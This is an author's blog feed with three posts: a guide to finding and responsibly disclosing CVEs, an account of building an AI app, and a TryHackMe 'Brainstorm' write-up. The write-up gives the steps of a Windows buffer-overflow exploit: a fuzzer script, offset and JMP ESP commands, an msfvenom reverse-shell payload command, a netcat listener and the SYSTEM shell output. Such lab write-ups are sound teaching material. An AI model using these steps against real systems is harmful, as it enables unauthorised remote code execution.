Forem: KRRISH JAGBANDHU

How I Found My First CVE as a College Student (And What Most Guides Don't Tell You)

KRRISH JAGBANDHU — Sat, 18 Apr 2026 12:05:20 +0000

Everyone talks about CVEs like they're some mythical achievement reserved for seasoned professionals with 10 years of experience and a hoodie covered in conference stickers.
I'm a BCA student. I found five.
This isn't a flex post. It's the guide I wish existed when I started — because most resources out there skip the parts that actually matter.

Why I Started Bug Hunting
I was deep into TryHackMe rooms and HackTheBox machines, grinding through CTFs at 2 AM, and somewhere in between I started asking myself: is any of this real?
CTFs are fun. But they're controlled environments. Somebody built that box for you to break. The vulnerability is there, guaranteed. Real-world software doesn't come with that guarantee — but it also doesn't come with a scoreboard, a leaderboard, or a congratulations banner when you find something.
What it comes with is a CVE ID with your name on it.
That was enough motivation for me.

The Target I Picked (And Why It Matters More Than Anything Else)
Here's what no guide tells you clearly: your target selection determines everything.
Most beginners go after massive companies — Google, Facebook, Apple. They read about million-dollar bug bounties and aim there first. That's like learning to drive and immediately entering Formula 1.
My approach was different:

Open-source software with a public repo — I could read the actual code, not just probe blindly
Actively maintained but not a massive team — bugs slip through, patches take time
Software I actually used — I understood the functionality deeply, which meant I noticed when something shouldn't work the way it did

I started with smaller tools and libraries in the security and networking space. Stuff I was already using in my VAPT work. When you know how something is supposed to behave, anomalies scream at you.

The Moment I Found the Vuln
I'm not going to walk through the exact technical details of my first CVE here — that's a separate write-up. But I'll tell you what the moment felt like.
It wasn't dramatic. There was no alarm, no flashing "YOU FOUND IT" screen.
It was: wait... that shouldn't respond like that.
I sent a request. The response was wrong in a very specific way. I sent it again with a modified input. The response got more wrong. I sat back and thought for maybe five minutes before I opened Burp Suite and started documenting methodically.
The thing about real vulnerabilities is they feel like a quiet click — not an explosion. The adrenaline comes later, when you're writing the report and you realize what you're looking at.
What helped me spot it:

I had read the documentation and the source code
I was testing edge cases, not just happy paths
I kept notes on every weird behavior, even stuff that seemed minor
I was patient — I'd been poking at this target for days, not hours

The Reporting Process (The Part Nobody Romanticizes)
This is where most write-ups end. "I found it, reported it, got the CVE."
Here's what actually happens:

Write the report like your reputation depends on it — because it does. Your report needs:

Clear description of the vulnerability
Affected versions
Step-by-step reproduction (assume the person reading has 10 other reports open)
Impact assessment
Suggested fix (optional but respected)

Find the right contact. Check for a SECURITY.md in the repo. Look for a security@ email. Check their responsible disclosure policy. If none of these exist, open a private GitHub issue or DM a maintainer directly. Do NOT open a public issue.
Wait. Then wait more. My first report sat for 3 weeks without a response. I sent a polite follow-up. Another week passed. Then I got a one-line reply: "Confirmed. Working on a patch." That's it. No fanfare. Just confirmation that you weren't imagining things.
Coordinate the disclosure. Work with the maintainer on a timeline. Give them reasonable time to patch — typically 90 days is the industry standard. Don't rush them. Don't go public early. Responsible disclosure is called responsible for a reason.
CVE assignment. Once the patch is out, either the vendor or a CNA (CVE Numbering Authority) assigns the ID. Sometimes you request it yourself through MITRE. Either way, you end up with a number that lives on the internet forever.

What Changed After
Practically speaking? A lot.

My resume went from "student with certs" to "student with verified security research"
I started getting responses from recruiters who previously ignored me
My confidence in real-world testing went through the roof
I found four more CVEs because the pattern recognition you build is transferable

But the bigger thing was this: it shifted how I see software. Everything is a potential target now — not in a malicious way, but in a deeply curious way. Every feature is a decision someone made. Every decision has edge cases. Every edge case is worth poking.

What I'd Tell My Past Self

Start smaller than you think you should. Seriously. Small open-source tools. Niche libraries. Things with fewer eyes on them.
Read the code. Black-box testing is fine but white-box gives you an unfair advantage.
Document everything. Even the dead ends. You'll thank yourself later.
Be patient with maintainers. They're usually volunteers or small teams. They're not ignoring you — they're busy.
Rejection is fine. Not every report is a CVE. Some are "working as intended." Learn from those too.
The first one is the hardest. After that, you have a framework in your head and the next one comes faster.

Resources That Actually Helped Me

HackTheBox & TryHackMe — for building the baseline
PortSwigger Web Security Academy — free, brutal, excellent
CVE Details (cve.mitre.org) — study what's been found before
GitHub Code Search — your best friend for finding vulnerable patterns
Nuclei templates — understand how automated scanning works, then go beyond it

If you're a student sitting on this page wondering if someone like you can actually do this — yes. You can.
You don't need a degree in computer science. You don't need a senior title. You need curiosity, patience, and the willingness to sit with a weird behavior until it tells you what it's hiding.
The software is out there. Go find something.

I'm Krish — BCA student, CEH certified, 5x CVE researcher, and active on HackTheBox/TryHackMe. I lead my university's cybersecurity club and do VAPT work.Find me at dev.to/krrish_jagbandhu_eca8db9dShare

I Tried Building My Own AI… Here’s What Actually Happened

KRRISH JAGBANDHU — Thu, 02 Apr 2026 22:14:57 +0000

A few days ago, I decided to stop just using AI and finally try building one myself.

No full roadmap.
No perfect plan.
Just curiosity and the willingness to figure things out.

What followed was a mix of confusion, frustration, small wins, and one big realization:

Building AI is way harder—and way more rewarding—than it looks.

💡 Why I Started

I’ve been using AI tools for a while, like most developers. But at some point, I kept wondering:

How do these models actually connect?
What’s happening behind the API calls?
Can I build something like this myself?

Instead of watching another tutorial, I decided to just start building.

⚙️ The Stack (What I Used)

I kept things simple (or at least I tried to):

AI Models via API (LLMs)
A basic frontend interface
Deployment on a cloud platform (like Vercel)
Lots of trial and error 😅

Nothing fancy—but enough to build something real.

😵 The Problems I Faced

Let’s be honest: things broke. A lot.

Some of the errors I ran into:

API Error: No endpoints found for openchat/openchat
API Error: No endpoints found for mistralai/mistral-7b-instruct
API Error: No endpoints found for google/gemma-7b-it

At first, I thought I messed up everything.

Turns out:

Some models weren’t available
Some endpoints were incorrect
Some configs were just… wrong

This is the part no one talks about enough.

🧠 What I Learned (The Real Stuff)

Not All Models Are Plug-and-Play

Just because a model exists doesn’t mean you can use it instantly.
You need:

Valid endpoints
Proper API providers
Correct configurations

Debugging Is the Real Skill

Most of my time wasn’t spent building—it was spent fixing.

And that’s where the real learning happened.

Deployment Is a Different Game

Running something locally is easy.

Deploying it?
That’s where things get real:

Environment variables
API keys
Build errors
Runtime issues

You Don’t Need to Know Everything

I didn’t fully understand everything when I started.

And that’s okay.

You figure things out as you go.

🚀 The Result

After all the chaos, I finally had:

A working AI app
Live deployment
Real responses from the model

It wasn’t perfect—but it worked.

And honestly, that’s enough for version 1.

🔥 If You’re Thinking of Building AI…

Here’s my advice:

Start before you feel ready
Expect things to break
Don’t trust every tutorial blindly
Learn by doing, not just watching
💬 Final Thoughts

This wasn’t just about building AI.

It was about:

Learning how systems actually work
Dealing with failure
Staying consistent when things don’t make sense

And most importantly:

Real growth happens when you stop consuming and start creating.

If you’re building something similar or stuck somewhere, feel free to reach out—always happy to connect with fellow devs 👨‍💻

dev #ai #webdev #buildinpublic #learning #vercel

TryHackMe — Brainstorm Write-up | Buffer Overflow on Windows

KRRISH JAGBANDHU — Tue, 31 Mar 2026 22:58:58 +0000

The Beginning — First Look

It was one of those evenings where I wanted a real challenge. I'd been breezing through Medium rooms and decided it was time to sit with something uncomfortable. Brainstorm had been on my list for a while — a Hard-rated Windows box, notorious for its buffer overflow challenge. I spun up my AttackBox, took a sip of coffee, and started the machine.
First thing I always do — let Nmap do the talking.
bashnmap -sC -sV -oN brainstorm.txt
The scan came back with something interesting:

Port 21 — FTP (Anonymous login allowed!)
Port 9999 — Some kind of custom chat application
Port 3389 — RDP (Windows, as expected)

Anonymous FTP? That's always a gift. I logged in immediately.
bashftp
Inside, I found two files — chatserver.exe and essfunc.dll. I downloaded both without hesitation. This was the application running on port 9999. The devs had essentially handed me their app to reverse and exploit locally. Rookie mistake on their part, huge win for me.

The Middle — Down the Rabbit Hole
I connected to the chat server on port 9999 using Netcat just to see what I was dealing with.
bashnc 9999
A chat prompt appeared asking for a username and then a message. Simple enough on the surface. But something about an unvalidated message input on a Windows service whispered buffer overflow to me.
I set up the chatserver.exe locally on a Windows VM with Immunity Debugger and Mona.py attached. Then the real fun began.
Step 1 — Fuzzing. I wrote a quick Python fuzzer to throw increasingly large strings at the message input:
pythonimport socket, time, sys

ip = "YOUR_LOCAL_IP"
port = 9999
buffer = "A" * 100

while True:
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, port))
s.recv(1024)
s.send(b"user\r\n")
s.recv(1024)
s.send(bytes(buffer + "\r\n", "latin-1"))
s.close()
time.sleep(1)
buffer += "A" * 100
except:
print(f"Crashed at {len(buffer)} bytes")
sys.exit()

The application crashed at around 2700 bytes. Immunity Debugger showed EIP overwritten with 41414141 — classic AAAA. My pulse picked up. This was real.

Step 2 — Finding the offset. I used Metasploit's pattern tools to pinpoint exactly where EIP gets overwritten:
bashmsf-pattern_create -l 3000
msf-pattern_offset -l 3000 -q
Offset: 2012 bytes. Perfect.

Step 3 — Bad characters. Sent all characters from \x00 to \xff to find which ones corrupt the payload. After careful analysis in Immunity, I found only \x00 was a bad character. Clean exploit incoming.

Step 4 — Finding a JMP ESP. Used Mona to find a reliable jump point in essfunc.dll:
bash!mona jmp -r esp -cpb "\x00"

Got a clean address with no ASLR, no DEP. Beautiful.
Step 5 — Shellcode. Generated a reverse shell payload:
bashmsfvenom -p windows/shell_reverse_tcp LHOST= LPORT=4444 EXITFUNC=thread -b "\x00" -f py

The End — Shell Dropped
I assembled the final exploit — padding, EIP overwrite, NOP sled, shellcode — and fired it at the real target machine.
Started my listener:
bashnc -lvnp 4444


Ran the exploit. Three seconds of silence. Then:

connect to [YOUR_IP] from (UNKNOWN) [TARGET_IP]
Microsoft Windows [Version 6.1.7601]
C:\Windows\system32>
SYSTEM shell. First try.
No privilege escalation needed — the chat server was running as SYSTEM already. Sometimes the box just gives it to you once you've done the hard work.

What I Learned

Buffer overflows aren't magic — they're methodical. Fuzz → offset → bad chars → JMP ESP → shellcode. Follow the steps.
Always grab files from anonymous FTP. Devs leaving executables exposed is more common than you'd think in the real world.
Immunity Debugger + Mona.py is a combo every pentester needs in their toolkit.
Patience is the skill. This room took me 3 hours. Every minute was worth it.

Tools Used
ToolPurposeNmapReconnaissanceNetcatService interactionPythonFuzzer & exploit scriptImmunity DebuggerCrash analysisMona.pyOffset & JMP ESP findingMsfvenomShellcode generation

If you're just starting out with buffer overflows, I highly recommend Brainstorm as your first Hard room — it teaches you the full BOF methodology in one clean box.
Happy hacking. Stay ethical. 🔐